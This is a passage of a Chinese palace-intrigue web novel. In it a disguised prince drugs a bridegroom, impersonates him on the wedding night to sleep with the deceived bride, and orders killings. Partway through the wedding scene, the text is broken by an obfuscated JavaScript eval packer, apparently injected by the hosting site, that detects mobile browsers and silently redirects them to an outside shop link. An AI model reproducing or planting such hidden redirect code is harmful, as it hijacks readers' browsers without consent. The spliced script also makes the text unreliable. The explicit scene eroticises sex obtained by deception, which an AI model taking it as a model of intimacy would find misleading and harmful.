薛宓娴伸手去拿: “这是我一会儿带给二哥哥的。” 上面绣着并蒂莲,取得是夫妻和满的吉祥意。 江昀掂了掂,嗤笑一声: “是么?” 让他带走,正好。 他该走了。 薛宓娴瞪了他一眼,忽见他拉着自己的手,揽上腰,借着身旁柱子的遮挡,紧紧抱着她。 温热的吻落在她的耳侧,他哑声道: “日后,与程菩快活的时候——” “姐姐,你可千万要想着我。” 18. 报复 薛宓娴面色一凝,又不便在此刻太过计较,只能蹙起眉头,警告似地瞪了他一眼,当作自己什么都没有听到,将他轻轻推开。 她知道他定然是一直盯着自己,于是怎么都不肯再对上视线,极尽毕生解数,顾左右而言他。 她先是柔声吩咐小厮检查一下东西都装齐了没有,而后又问车夫是要从哪条道走,再说起近些日子多雨泥泞,是否需要改道…… 车夫只是默默听着,偶然间看了一眼江昀的脸色,更加不敢接话。 江昀看着薛宓娴的侧脸,抬手撩了一下她耳边散落的碎发,嗤笑一声,掀开车帘: “自官道去清平郡,再由水路北上。” 薛宓娴眨了眨眼,待她回过神来,马车的轮毂已在隆隆声中滚过青石板路,卷起满地残叶,只留下一道浅浅的辙痕。 回到院中,她微微仰起头。 澄蓝的天上荡着几缕疏散的云,日光和煦,却并不刺眼。耳畔的鸟鸣声此刻都变得悦耳,轻风中弥漫着淡淡的桂香,一切都是那么恰到适宜。 可当她打开那个小匣子,却发现里面竟是空空如也。 她的小衣呢? 江昀这个骗子。 薛宓娴的手一瞬间变得冰冷,彻骨的寒意瞬间弥上四肢百骸,将她的神魂一点一点吞没。 远走高飞的他并没有这般轻易地放过她,反而在手里,留下了一个随时能将她彻底毁掉的把柄。 …… 过了半月,江家又一次来了人,说是听闻程菩身子不大好,带了闽南的土方,特也来看看。 嘴上说的好听,可是程家的人都知道,这些人只是来要银子的。 程老夫人不乐意接待,沈楹经过先前一番事的折腾,早已是对这些琐事心灰意冷,亦是无心无力,便交由薛宓娴负责出面。 江家这回派来的,是口齿最为伶俐的江大嫂子。 她见了程菩,先是笑着嘘寒问暖一番,接着转向薛宓娴,连珠炮似的开始一连串地设套,见这姑娘聪明并不上当,便只能仓促收尾,说了几句吉祥话,又落回程菩身上。 “子侄到了上学堂的年纪,家中仅有不过几亩薄田,实在应付口粮生计也就罢了。可怜二公子您那几个侄儿,吃穿用度即便再如何缩减,也凑不出给夫子的几分束脩,真是不知……该如何是好……” 江嫂子哭得涕泗横流,薛宓娴在旁边温声劝着,顺便以其人之道,还治其人之身。 谁知江嫂子被银子蒙了心,虽嘴上利快,但又是个不防人的性子,登时便将江小公子的身份卖了个底掉: “他打小身子不好,是跟着三伯习了武。如今身强体壮的,虽无福读几卷书,但这一身功夫,能在二公子面前有几分用武之地,实在是这小子的福气。” 程菩与薛宓娴对视一眼,心下了然。 他撑起身子,立刻抓住了江嫂子话里的破绽: “江昀没有上过学,难怪识字不甚多。” 江嫂子听到这个名字,明显愣了一下,随即立刻陪着笑: “是是是,咱们庄里人,能有个糊口的本事就不错了,不比二公子遍览群书,才富五车……” 程菩冷笑一声,摆了摆手,示意把她带下去,打发点银子,好生送走。 他不由得再次想起昔日的诸多疑点,恨自己当时只是一心放在了钱庄的叛徒身上,竟疏漏了,未曾去立即查明那人的身份。 侍卫走了进来,单膝跪下,抬头看了薛宓娴一眼,移开视线。 薛宓娴自知不该多留,本想着回避,却被程菩止住: “水洛,以后有事,无需再瞒着她。” 那位名唤水洛的侍卫俯首应是。 程菩咳了许久,又喝了口清茶润嗓,垂放在身侧的手攥成了拳,指关节因用力而隐隐泛白,身子微微颤抖着,吩咐道: “钱庄不必再查,你即刻带人,沿道去追。” “若是找到了人,不必手软,就地格杀。” 薛宓娴垂眸,绕了绕手中的绢帕,心中已然明白,但踟蹰片刻,欲言又止。 她自然是知道不能落井下石的道理,也不愿成为那般害了性命却无动于衷,冷心冷肺之人。 可江昀欺负了她,这些时日捏着所谓的把柄与她肌肤相亲,临走前还摆了她一道,便不允许她报复回去么? 思及此处,薛宓娴扶着程菩躺下,旋身出了屋子,叫住水洛。 她到底还在犹豫,但最后定了定心神,轻声道: “他临走时说,途径清平郡,再沿水路北上。我听车夫的意思,清平郡离此地有些距离,路上若是不赶,这会儿去追,定是来得及的。” “若是你肯信我,不妨一试。” 水洛神色复杂地看了她一眼,而后垂头拱手,匆匆告退。 秋末的萧风吹起她的裙摆,薛宓娴抬手理了理鬓边散发,长舒一口气,分明应是快意报复,可总有一种隐隐的不安。 不过几日,水洛便来回话,说此事已了。 薛宓娴听了,只是笑了一下。 她总感觉,今时所为,不过轻舟覆浪。虽有片刻停靠歇止,终究无法彻底心安。 …… 又过了一月,京中传来消息,说是永王被一众御史弹劾谋反,惹今上大怒,褫夺亲王身份,将其发配去了南疆。 至此,永王与太子之位,再无缘分。 此事连带着牵出程家父子与永王的瓜葛,魏王一党趁势反扑,连同皇后在宫中的势力,接连几下便撤去了程菩在京中的虚职,断了程家大半的财路。 一时间,墙倒众人推,为了能保住程家的体面,不得不用更多的银子打点。 薛宓娴眼睁睁看着库房的藏物一件又一件被搬出去,心下难过,却又无可奈何。 同时,程菩连日高烧不退,吃了药也不见好,甚至还出现了咳血的症状。偏偏大夫说不出个所以然,只能诊为风寒侵袭,让他好生喝药安养。 薛宓娴难以对此坐视不理,暗中让素音去请张珏。 可得知渡口传了一种红疹病,死了几户人家,张珏近些天已是全心全意扑在疫情上,分身乏术,实在来不及赶回来,只能先提一笔方子,让她试着去给程菩服下,以解燃眉之急。 这日午后,薛宓娴刚去看过程菩,本想回屋歇着,却又遇上莳莺,说是程老夫人请她过去。 婢女捧上茶,只听程老夫人咳了一声,而后莳莺立刻会意,把蕴娘等人带了出去,掩上了门。 茶香袅娜,薛宓娴在程府待了这么久,已经能隐隐学会了几分该如何通过气味,辨出茶叶的优劣。 程老夫人却并未立刻端茶,只是长长地叹了口气: “请你过来,倒也不是为了其他事。我昨夜又梦见了你的外祖母,思及昔日种种,总是不免难过……” 说完,她似是想起了什么伤心事,呜咽着落下泪来,不过寥寥几语,便已是泣不成声。 薛宓娴见状,连忙起身。 她扶着程老夫人,一边柔声宽慰,一边努力岔开话题,笑着来回撒了个娇,惹得程老夫人破涕为笑,摸了摸她的手,姑且作罢。 不过,毕竟程老夫人是体面之人,并不会平白无故提起她的外祖母。 薛宓娴垂眸,面上笑意渐淡。她依稀记得,上一次提起,是为了要将自己许给程菩,以解不祥之谶。 不知这一次,又是为了何事。 说了一会儿闲话,只听程老夫人开口道: “永王的事,你应有所耳闻。” 薛宓娴对这种事向来自觉避讳,故而只是笑了笑,并未立刻接话。 程老夫人没有指望她说些什么,只是自顾自道: “原是想着,菩儿若能扶持起永王一脉的势力,与皇后魏王党抗衡,来日好歹还算是能有个周旋其中的把握。” “如今,永王出了那样的事,程家多年来的苦心经营,尽是竹篮打水一场空。陛下未曾有任何迁怒,已是万幸。” “菩儿近些天身子这般不好,请了许多大夫,吃了那样多的药,却还是不见效。前些天,我去庙里求签。大师说,这是命有劫数,需要尽快寻件喜事,以得化解。” 薛宓娴心里一沉,实在无须多言,已是有数,但面上仍是故作不知: “老太太意下如何呢?” 程老夫人看着她,伸手摸了摸那如同丝缎般柔顺的乌发,目光中满是慈爱: “娴娘,我知晓你是个温柔知礼的好姑娘,与菩儿感情亦是不错。这门亲事,我和老爷都想过,是程家极大的福分。” 薛宓娴抿唇笑了笑,眸中的光亮却是越发黯淡了下来。 程老夫人接着道: “原先说着要等到来年,可我想着,既是近来程菩运道不好,便不如先将亲事结了。一桩极好的和满喜事,定能抵了那些个不祥的凶劫恶兆。” 她说完,明知故问: “娴娘,你可愿意?” 薛宓娴低下头,珠钗步摇轻晃碰撞,发出细微的声响,落在耳畔。 搭在膝上的手指动了动,她柔声应道: “自是一切都听从老太太安排。” 寄人篱下,她如今早已孤身一人,没有母家,相较于沈楹,同为身不由己,哪有容得她反抗的余地? 程老夫人见她这般懂事,心中不由生愧,可是和程菩比起来,终究是更心疼自己孙子一点。 她命莳莺取来自己的玉镯,戴在了薛宓娴的手腕上,握着那双白皙的手,最终只是轻轻叹了口气。 …… 婚事自然有程老夫人操持,薛宓娴也不用操什么心,不过闲来无事去陪正在安胎的沈楹说说话,又替病中的程菩拟了喜帖,安排着给亲朋送去。 已近冬日,蕴娘怕薛宓娴冷,给她备了个精致的莲纹小手炉,又铺了一层绒毯。素音则替瓷瓶里换上了新鲜的花枝,好给屋里添几分清透的香气。 “陆大人……” 薛宓娴放下笔,轻轻蹙起眉,小声嘀咕着: “我怎么从未听说过这号人物?” 一旁研墨的蕴娘解释道: “这位大人名唤陆昭,是二公子京中任职时的同僚。此番下江南办公事,途径此地,便顺道多留了些时日。” “陆大人出身皇后母家,如今身居要职,连宫里的公主都对其青睐有加。老太太的意思是,他既然在此地住着,便也发一封喜帖去,多少尽了几分心意。往后若能有说得上话的地方,请他帮忙也不愁如何开口了。” 薛宓娴盯着喜帖看了片刻,又复提笔,写下早已熟捻于心的婚期。 程菩病中精神不好,此等琐事薛宓娴便不想打扰他,仔细去回过程老夫人和老爷后,便安排着将喜帖发了出去。 …… 另一边,客居小院中的陆昭收到喜帖,笑着与身侧正在同他对弈之人晃了晃,显摆道: “瞧瞧,程菩竟要在此时办喜事,我这是去,还是不去呢?” 他把喜帖递过去,从盒中取出一枚白子,夹在指间,说道: “说来也奇,你化名江昀的那些时日,可曾与他这未婚妻打过交道?不知程家看中的,是什么样的姑娘……” 对面的贵人落下一子,冷冷地看了一眼喜帖,嗤笑道: “少说闲话,该你了。” 话音刚落,便有下人前来奉茶,无意间弄出了些许声响,心虚地低下头,仅以余光打量,只见那位贵人面色冰冷,有些不耐地啧了一声。 下人是知晓这位的脾气,立刻慌了心神,吓得浑身一激灵,跪下连连磕头。 陆昭看了他一眼,笑着开口: “快起来,何必如此?” “九殿下面如冠玉,分明是文善君子,哪里有这般凶神恶煞了?” 原来这位贵人,正是多方苦寻不得的九殿下,李容卿。 他曾冒名顶替了江家小公子,进入程家,收集昔日程菩构陷其母族的罪证。 李容卿以假死之计顺利脱身,恰巧遇上了同样奉命南下的陆昭,便又回到了这江南小镇,扮作陆昭的酒友,客居于此。 皇后将陆昭视为心腹,极为信任,却不知他早已在别处另谋高就。 陆昭说道: “不过是送来喜帖而已,殿下为何这般心烦意乱?” 李容卿听了这话,满是不屑地哼了一声,手指在桌上轻轻敲了敲: “何出此言?” 陆昭落下白子,缓缓道: “这局我本是落于下风,方才我走的棋,更是漏洞百出,可你竟一点都没有察觉。难道你在程家当大恩人的这些日子里,棋艺退步了不成?” 他与李容卿相识已久,自是直言不讳: “怎么,你瞧上那位夫人了?” 李容卿一挑眉,不甚在意地嗤笑道: “不过是略有些姿貌,若说是消遣,勉强还算够格。” 京中荒唐丑事见得多了,陆昭对此面不改色。 李容卿捏着黑子,胡乱走了一步昏招,语气却是骤然冷了下来: “那日我不过随口编说了一句去向,谁知她竟真将其视为珍宝,巴巴地跑去献给程菩,以求信任。” “当真可笑至极。” 陆昭笑了笑: “她难道不知水洛是你的人?” 李容卿冷声道: “她自然什么都不该知道。” 事已至此,陆昭也不再走棋,只是说道: “原是如此。我那日正好空着,闲来无事,便去程府喝杯喜酒也无妨。” 李容卿低下头,沉默片刻后,他冷声道: “寻个身份,我跟你一道去。” 陆昭自然会意: “皇后亲自示下,让我带人灭了程家。如今也正是时候,你想亲自报仇雪恨,我倒是乐得清闲。” 李容卿微微偏头,漆黑的眼眸中闪过一丝寒意,随即唇角轻动,又凌然勾出一抹笑来: “不过,我想多留一日。” 她要成婚,他可以成全。 只是出卖他的代价,自然要一分不差地从她身上讨要回来。 另外,比起直接在喜宴上打碎她做程家夫人的美梦—— 他想要的,是让她得而复失。 这世上,没有什么能比曾经拥有却又猝然失去更为痛苦了。 不过,他也没有耐性,再看她与那人琴瑟和鸣。 …… 婚期已至。 天空中抹着一层阴翦的云,低低地压在方寸之间,似是随时会落一场潮冷的雨。 因程府最近多事缠烦,加之程菩身体抱恙在远近之地也不算是什么秘密。 故而这桩喜事虽十分讲究,但相较于寻常世家,办得并不高调。 来往宾客都是常与程家走动的亲朋,平日里多少也是见过薛宓娴的。 虽说薛家倾覆前早已落魄,称不上是什么高门,如今只余孤女一人,出身不算好,但薛宓娴为人的气性和涵养,旁人看在眼里,也记在心里,并不觉得她有分毫逊色于那些名门世家的姑娘。 薛宓娴长得漂亮,天生琼花玉貌,往常只是轻妆几分,已是明媚动人。 今日红妆盛扮,如画般的眉目在脂粉的衬托下显得明丽异常,红润的唇瓣更是恰到好处地添了一分娇媚,让人见之忘俗。 程菩今日依旧发着烧,只是他不肯让旁人看了笑话,更不愿让那些人贫嘴薛宓娴分毫,便是强灌下一碗药,撑着打起几分精神,穿上喜服,在铜镜前一照,虽有病色,亦是清隽之姿。 两人站在一块儿,合该是天生一对。 喜事的礼数一向繁琐,薛宓娴近些天努力记了又记,拿出了自己最好的功夫,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047895|193155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧有些力不从心,握着红绸的手不过轻轻抖了一下,便被程菩温柔握住。 他说: “别怕,有我呢。” 睫羽轻颤,薛宓娴略微安心了些。拜过天地,她在喜宴上喝了几杯酒,便先去房中歇着,等程菩应酬归来。 程菩有出息,又有翩翩君子的风度。此时顶着京城永王事变的压力,能来程家赴喜宴的,多是给了他几分颜面。 于此,昔日同僚来敬,不能不喝;左右亲邻来劝,亦不便推脱;最后家中有些资历的管家丫头们来热闹,他作为二公子,也不好拂了面子,一饮而尽。 程菩已是大醉,此前的药性这会儿被酒意一激,发作得厉害,头如同要裂开般剧痛,身子晃了一下,依旧强扶。 最后,端着酒盅走过来的,是陆昭。 陆昭代表着魏王一党,能来喜宴,或许说明,皇后并未对他心生不满。 程菩只能晃晃悠悠地举起酒杯: “多谢陆兄。” 陆昭笑了一下,拿过一个酒壶: “你我一别数年,今日可要喝个痛快。” 一旁的小厮连忙来劝: “陆大人,二公子醉了,不能再喝了。” 陆昭“哦”了一声,看向程菩,似笑非笑: “程兄弟这般不给我面子?” 程菩被架得无法,思忖自己若是喝了,只怕是一会儿得横着出去,不能让别人看笑话,便在陆昭的邀请下,只身入了近处厢房。 “哪里的话,陆兄肯来……程某,感激不尽。” 陆昭很快喝了一杯,随即又替他满上了第二杯。 第三杯。 第四杯…… 程菩勉力撑了一下,最终抗不过身体病痛,倒了下去。 陆昭伸手扶住,自有早已埋伏好的人前来将他拖到一边。 不一会儿,李容卿身穿喜服,走了出来。 他淡然自若地往自己身上泼了酒,看了陆昭一眼: “带走,我明日处置。” 陆昭哼笑一声: “见色忘义。” 李容卿皱了皱眉,没有反驳。 推开门,小厮见新郎摇摇晃晃,醉得不像话,顾不上分辨是否换了人,赶忙把他往房里扶。 程老夫人对陆昭此举虽有不满,但碍于他是皇后的人,不敢多说,只能应付过众人,渐渐散了喜宴。 …… 屋内,李容卿一摆手,蕴娘等人不敢多看,低头退了下去。 薛宓娴早已闻到呛人的酒味,可她除了心疼,也没有别的法子。 蒙着红盖头,她站起身,将东西递到夫君手里,柔声请他赶紧揭了盖头,饮过合卺酒,好早些歇息。 可对方没有动作。 薛宓娴有些疑惑地歪了歪头,下一刻,她便被人打横抱起,摔入大红喜被中。 盖头被扯下,她还没来得及看清,便被蒙上了眼睛,随即带着酒意却又有几分微凉的吻,一连串地落于她的颈侧。 头上的珠钗方才已经卸下大半,此刻不过是随意一抽,青丝如瀑,倾了下来,铺在红色的锦被上。 红润的唇上晕着一层含混不清的水泽,在灯光下折散出盈润的浅光。 柔软又湿润,手指不过是轻轻按了一下,便能得到美人一声低怯的喘,如同拨乱的弦音,晃得他乱了心神,忽然不知该如何圆满。 不过瞬间,喉结上下滚了滚,李容卿冷笑着,用力一扯。 红色的喜帐垂落下来,遮住了二人朦胧间交织亲缠的叠影。 “二哥哥……” 她仰起颈,水润的唇轻轻翕动,连带着腰身一起往前贴过去: “你……你的烧退了么?” 这会儿还有心情关心程菩? 李容卿呼吸微滞,心下没来由地一片涩痛。这些天的怨念情思,全部化为动作间无声地宣泄,毫无保留地倾注在了颤抖的玉肌上。 他说不清自己此刻究竟是什么心理。 他恨她把自己当作程菩,恨在她心里自己不如程菩,恨她在那个关头将自己出卖以换取程菩的信任…… 可是,此刻他又是心甘情愿地扮作程菩,只有这样,才能领了夫君的名头,偷占她片刻春宵,巫山云雨,光阴贪渡。 别提他了,好吗? 此刻和你在一起的,是我。 他拎着她的胳膊,轻而易举地将她换了个面,塌卧的软腰弯出一道浅弧,仿佛满盛此刻花烛红香,盈然在握。 骨节分明的手在光洁如玉的雪上陷下去一点,而后用了些力,便是余然满溢,仿佛一只手根本握不住似的。 薛宓娴落下泪来,却和之前的任何一次都有所不同。 此刻她只想着,原来夫君并不逊于那人分毫。 他也不过如此。 …… 待她已然尽兴一回,李容卿抱着她,翻了个身,抬手勾起她的腿弯,便是一个将她拢在自己怀里的态势。 薛宓娴在颤抖中转过头,探寻着想要亲吻。 在无休止的逆浪沉浮中,她依着先前被塑出的惯性,本能地将亲吻当做了此时唯一的依靠,分明会被他愈发强烈地剥夺气息,却又愈发依赖他的触碰。 如同被蛊化一般,甘之如饴。 可李容卿一抬头,避开了。 于是,那红软的唇落在了他的喉结处,犹有不足,她轻轻勾舌,恰巧从喉结上蹭过,自己却被连带着引出一声喘息,无助地靠着他。 她想好好地看看他,却被拒绝。 薛宓娴已经说不出任何话来了…… 李容卿手上的青筋暴起,他从未想过那些难熬的暗念,会在此刻涌现出来。 那些本该被封入心底的念想,正一波又一波地攻占他最后仅剩的理智,让他成为被贪恋操控的妖魔,不知餍足,不肯放手。 分明想要的已经得到了了,可他却不肯就此罢休。 就像复仇那样,就像他曾无数次迫使自己去做的那样—— 他喜欢淋漓尽致的爱恨,喜欢将自己痛彻心扉地撕开来,将她完全融入自己的骨血,让血脉的每一次搏动,都能留有她的气息。 他啃咬着她颈侧的肌肤,用力得当。 轻微疼痛,激发起本能防御的战栗,可是却并不难受,只是细密轻润,让红台上摇曳的烛火烧得越发旺盛。 一滴红蜡沿着烛身缓缓滴落,薛宓娴趴着缓神,方才原本就要达到的境地,被身后之人骤然掐断,仿佛故意要将她从云端拉下来,让她体会一次身不能至的欢愉疾苦。 “求你……” 薛宓娴回头蹭了蹭,软语勾魂: “夫君,求你了。” 这样温存的话语,你以前从未对我说过。 李容卿冷冷嗤笑一声,捏着她的脸,迫使她直起身子,紧紧贴着自己。 他有意如此。 因为他深知她的极限,深知如何才能让急雨散幕,遍然如银花纷飞。 最后,他不甘心再扮作旁人。 他想要更近一步,想要她的回应。 蒙在眼前的东西被一把扯下,昏暗的光线并不难适应。 薛宓娴眨了眨眼睛,珠泪混着滴汗,自颊侧滚落,心口的躁动震得她发怔,一时间只能顾得上喘息,缓不过神来。 李容卿没有耐心等,他扳过她的脸,强迫她抬起头,正视着自己: “认得出我是谁么?” 话音落下的瞬间,他收了手,撤去强行施加的桎梏。 可薛宓娴眸中闪着迷蒙的水光,脑海中霎时空白一片,思绪尽失,只剩下伦理认知的本能让她开口: “二哥哥……” 李容卿顿住了。 他缓缓松手,看着她倒在扎眼的喜被上,侧身睡去。 她终究还是认错了人。 19. 诛心 “夫人……” “夫人?” “夫人,该起身了。” 蕴娘的声音如同隔了一层纱,模模糊糊的,而后由远及近,在混沌的感知中逐渐变得清晰。 薛宓娴撑着坐起身子,浑身酸疼,只要是露在外面的地方,没有一处不是泛着春宵余韵,时刻提醒着她昨夜所发生的风流种种,言不尽意。 她下意识地伸出手,摸了摸身侧的枕头。喜缎质地极佳,触感又滑又软,是程老夫人精心挑的。 可是,枕上似乎没有熟悉的体温,一点也不像是有人在这里睡过一觉的样子。 蕴娘察觉到她的不安,一边伸手去扶她,一边温声安抚道: “夫人可是在找二公子?” “二公子圆房后,天还未亮就出去了。听小厮说,是陆大人找他,有急事相商。” “二公子怜夫人昨日辛苦,虽走得匆忙,但还是让管家的前来传话,说是让我们为夫人煮碗暖汤,好生照顾。” “瞧,二公子待夫人当真是好。” 薛宓娴的手不自觉地发颤,捂着心口,面上没什么血色,一时间说不出话来。 昨夜,在那鸾凤交滚的最后时刻,她所看到的那张脸,与那段不愿再去回想的记忆缓缓重叠。 俊朗的眉目,在她的记忆中却如同恶鬼,总会夜深人静时偷偷撕开她的体面与端庄,把她变成最为狼狈不堪的样子…… 一时间,过程中那些不符合程菩身体情况的异常,似乎都得到了解释。 比如,程菩明明发着烧,可身体的温度却并不高。又比如,程菩喝了那样多的酒,脱了衣服,唇齿间竟然一丝酒味都闻不见了。 越是对上记忆,她越是觉得害怕。 那么—— 在这喜床上疼爱她的夫君是程菩么? 为何她记忆中出现的,会是江昀的脸…… 依侍卫水洛的话,他明明都已经死了,怎还会出现在她的新婚之夜? 薛宓娴低下头,感觉自己的腿似乎在被子里碰到了什么东西。 她伸手去探,发现那是曾经被江昀拿走的香包,上面并蒂莲的绣图历历在目,心下顿时一阵刺痛。 这件东西是如何出现在她床上的? 若是昨夜的新郎换了人,以那人的性子,恐怕难保程菩的安危。 留下的这个荷包,究竟是什么意思? 江昀若知道是她泄露了行踪,会如何报复她…… 窗户没有关紧,留了一道细细的缝。 江南即将入冬,屋外的风吹在身上,带着莫名阴冷的气息,冰凉的潮寒之气透过肌肤,渗入骨骼,刺得她颤了颤身子,打了个寒战。 薛宓娴不敢再细想下去。 事到如今,不论是圆房欢好之时的郎君换了人,还是江昀从始至终可能都没死,每一项揣测中可能发生的后果,都超过了她所能承受的心理极限。 她心慌害怕,顿觉浑身发冷,吸了吸鼻子,紧紧握着蕴娘的手,瞬间落下泪来: “程菩呢?” “他在哪儿?” 一想到那人昔日毫无廉耻的行径,她的心七上八下的,满是不安: “我要见他!” 薛宓娴已经顾不得礼数,顾不得蕴娘会如何反应,她只想在最恐慌无助的时刻里,为自己寻一点微末的慰藉。 蕴娘被她这模样吓了一跳: “夫人可是做梦魇着了?” “二公子在跟陆大人议事呢,一时半会儿可回不来。” 蕴娘本想替她将凌乱的发丝稍微拢一拢,好用热帕子敷敷脸,缓解一下心情。 可不曾想薛宓娴侧身一躲,把自己的身体用被子裹起来,往床榻里缩了缩,手紧紧攥着大红的被单,惊慌又无助: “别过来。” 她抱着自己的身体,不住地发抖,连声音也跟着打颤: “别……别碰我……” 蕴娘劝了一会儿,谁知无意间提到了一句“江小公子”,薛宓娴立刻崩溃地哭出声来,整个人缩成了一团,蒙在被子里发抖。 蕴娘轻声道: “他在这儿的时候,可是欺负姑娘了?” 薛宓娴没有回答,只是紧紧攥着香包,气喘不及,眼尾一片湿红,长睫上悬着点滴晶莹,轻轻颤动,让人不由自主地为之心软。 蕴娘无法,只能暂且不说话,上前替她擦眼泪。 …… 恰在此时,素音带着沈楹走了进来: “夫人,老太太那边等得着急了,便让大夫人来看看是什么回事。” 经过一段时日的修养,沈楹难得装扮如此整齐,乍一看与先前并无二致。 她的气色已然好了很多,只是眸中黯淡无光。虽打扮漂亮,但并无生气,如同一具精美的偶人。 薛宓娴的视线落在她身上,身体随着哭喘起起伏伏,声音中染着浓重的哭腔,楚楚可怜地唤道: “沈姐姐……” 沈楹走到榻边,替了蕴娘的位置,伸出手,将薛宓娴轻轻抱进怀里,同时挥手让婢女们都出去。 她拉过被子,把露在外面的胳膊盖上,而后拿过帕子,帮薛宓娴擦着脸,轻声道: “娴娘,怎么了?” 薛宓娴埋在她的身前,柔软的气息让她一点一点安定下来,紧紧抱着她的身体,小声地抽泣着。 沈楹认真地擦去她脸上的泪痕,似是无意地笑了笑,轻声道: “二公子待你很好,这桩喜事如此圆满,哭什么呀?” 薛宓娴看着沈楹的眼睛,一瞬间觉得自己似乎不应该再说下去了。 单从婚事来看,比起沈楹的如今,她大抵还是有几分幸运的。 程荇是个十足的混蛋,去外头与旁人厮混不说,动手打人、趁沈楹睡着行房.事,又以怀孕胁迫她留下…… 死上一万次也不为过。 薛宓娴低下头,慌张之余,觉出几分愧疚来,轻轻覆上沈楹的手。 沈楹只是笑着摇了摇头: “娴娘,我知晓你在想什么。” 后面的话她不必再说,薛宓娴也明白的,可是心中的不安并未因此消减分毫。 但在沈楹面前,她总是觉得,实在不能在一个比自己境遇更差的人面前,戳着痛处,还要讨求几分强颜欢笑的安慰。 这也太不像话了。 毕竟,江昀早就死了,或许只是她的噩梦而已。 若当真是新郎换了人,那些小厮婢女又不是盲人,定能发现其中蹊跷。她实在不必如此战战兢兢地活在一个死人的阴霾之下。 至于这个荷包,兴许是水洛交还给程菩,而程菩无意间落下,亦未可知。 薛宓娴深吸一口气,在沈楹的陪伴下渐渐止住了哭,施上脂粉,穿戴整齐,去给程老夫人和程老爷请安。 临走前,沈楹叫住了她: “娴娘,二公子是难得一遇的良人。” “今后若是见不着我,你也要同他好生过下去。” 薛宓娴蹙起眉,方才搁下去的心又登时提到了嗓子眼,开口道: “沈姐姐,这是何意?” 沈楹笑了笑,没有回答。 …… 给程老夫人敬完茶,她并未计较薛宓娴请安来迟一事,只问是被什么魇着了,来日请人驱驱邪祟,便能够睡得更加安稳些。 程老爷接过茶,同样未曾点薛宓娴的不是,只略看了她一眼,又同老夫人说了几句闲话,转而便急匆匆地走了。 程老夫人解释道: “陆大人那边的事,他心里也着急。不过,你尽管放心,先前菩儿才送来了一张字条,说陆大人那里还需要些时间,他把家里的事情都打点好,便不需要你再费一点心的。” 薛宓娴接过字条,反反复复看了又看,指尖从熟悉的墨迹上轻轻拂过,似乎能看到程菩写下这张字条时的神情。 她默然片刻,又问道: “老太太,陆大人……他可会害了二公子?” 对于陆昭,薛宓娴总有一种天然的不信任,没有任何来由,只是因为她的直觉。 就像她第一次见到江昀那样。 程老夫人笑着,把她拉到身边来坐下: “傻孩子,怎么会呢?” “陆大人是菩儿昔日在京城的同僚。再者,他既然都肯来昨日的喜宴,又怎会对菩儿不利?” 薛宓娴点了点头,看向手中字条,冥冥之中总有些许不安,可她又说不出个因由,便只能作罢。 …… 府外,沈楹掀开帘子,看了一眼车内的人,脸上的神色没什么变化,只是木然坐在了他的身侧。 程荇已经许久未和沈楹挨得如此近过。 自沈楹有孕修养后,他数不清自己吃了多少个闭门羹,偏偏还无处说理去,便只得作罢。 可他便是到了此等地步,也没能放得下府外养着的月娘,更放不下那些个在花满楼结交过的莺莺燕燕,得了空总要“偷得浮生半日闲”。 沈楹的身体随着马车行进而微微晃动,她轻轻倚着窗,懒得去看身侧的程荇一眼。 左右也是个命不久矣的人。 此番去寺庙斋戒祈福,是程菩的意思。 程菩在大婚前,曾告诉她—— 他给程荇下了一种无色无味的毒药,在斋戒的这几日便会毒发身亡。而后,他会将此事嫁祸给流匪,再替沈楹寻个由头,将她送离程家。 往后她愿意做什么,就做什么。哪怕是走投无路,程菩也会极尽所能,给她接济。 起初,沈楹并不明白,程菩为何会突然站在自己这边,为自己如此着想。 后来,她才明白,程菩杀程荇,是为了替薛宓娴报迷情药的仇。而自己,或许只是他为博美人一笑的顺水人情。 不过,这样也好。在程家的日子,她是一天也过不下去了。 程荇斜睨着她,跷着腿抖了抖,吊儿郎当地去摸沈楹的手: “瞧你,这般避讳做什么?你我夫妻二人,能有这么几天独处的机会,该好好感激才是。” 沈楹看了他一眼,收回自己的手,淡淡地“哦”了一声,便不再理他。 程荇自讨没趣,嘴里嘀咕着骂了几句,闭上眼睛,不一会儿想起了断续的呼噜声。 沈楹偏过头,有种强烈地想要掐死他的冲动,可是手抬到一半,又放下了。 马车走入曲折小道,轮子碾过地上的石子,沈楹的身体猛地歪斜了一下,紧接着,她掀开车帘,看见数支利箭破空而来—— 马受了惊,仰头长鸣,坐在前头的车夫尚未来得及出声,便被一剑捅了个穿。 程荇被这般动静惊醒,慌不迭地大叫一声,一把推开有孕在身的沈楹,手脚并用地往车外爬。 沈楹的后背狠狠撞了一下,吃痛地倒吸了口气,看着程荇,冷笑一声,不知从哪里来的力气,死死攥住了他的手。 程荇逃跑受阻,眼看着刺客越来越近,登时发了狠,再不顾沈楹是不是还怀着自己的骨肉,一巴掌甩了过去: “你找死!” “松手!” 沈楹的侧脸红了一片,嘴角留下隐隐的血迹,可她没有放手,不顾腹中疼痛,用尽全身力气,拖住了程荇。 程荇眼见时机不对,气得大骂了几句污秽话,一脚朝着沈楹踹了过去,趁着这个机会,逃离了马车。 一瘸一拐地走出不远,他喘着粗气,忽感一阵钝痛,低下头,只见自己的胸口冒出银芒。 再仔细看去,才见那是剑尖洞穿了他的身子。 水洛面无表情地抽出自己的剑,看着程荇直挺挺地倒了下去,抽搐着瘫软在地上,渐渐断了气。 “殿下的吩咐,割了他的脑袋,尸体扔去西郊喂狗。” 说完,水洛回到马车旁,伸出手,把沈楹捞了出来。 看着地上横躺的车夫,又看了看水洛手中还在滴血的剑,沈楹似乎是明白了什么,她忍着身上的痛,轻声道: “你不是程二公子的人。” 水洛没有说话。 沈楹抓着他的手,疼得直不起腰,身上的裙子已经被血浸红了一块,腿都忍不住打颤: “那么,你是……” 她喘着气,说道: “你是九殿下的人,是来找程家寻仇的。” 水洛之前见过沈楹,听过她的事迹,知道她虽是内宅中的夫人,可才华与胆识却远远不至于此。 对于杀程荇,水洛心里没什么波澜,只觉得那人该死,自己是替天行道。 而面对沈楹,他忽然有些下不去手。 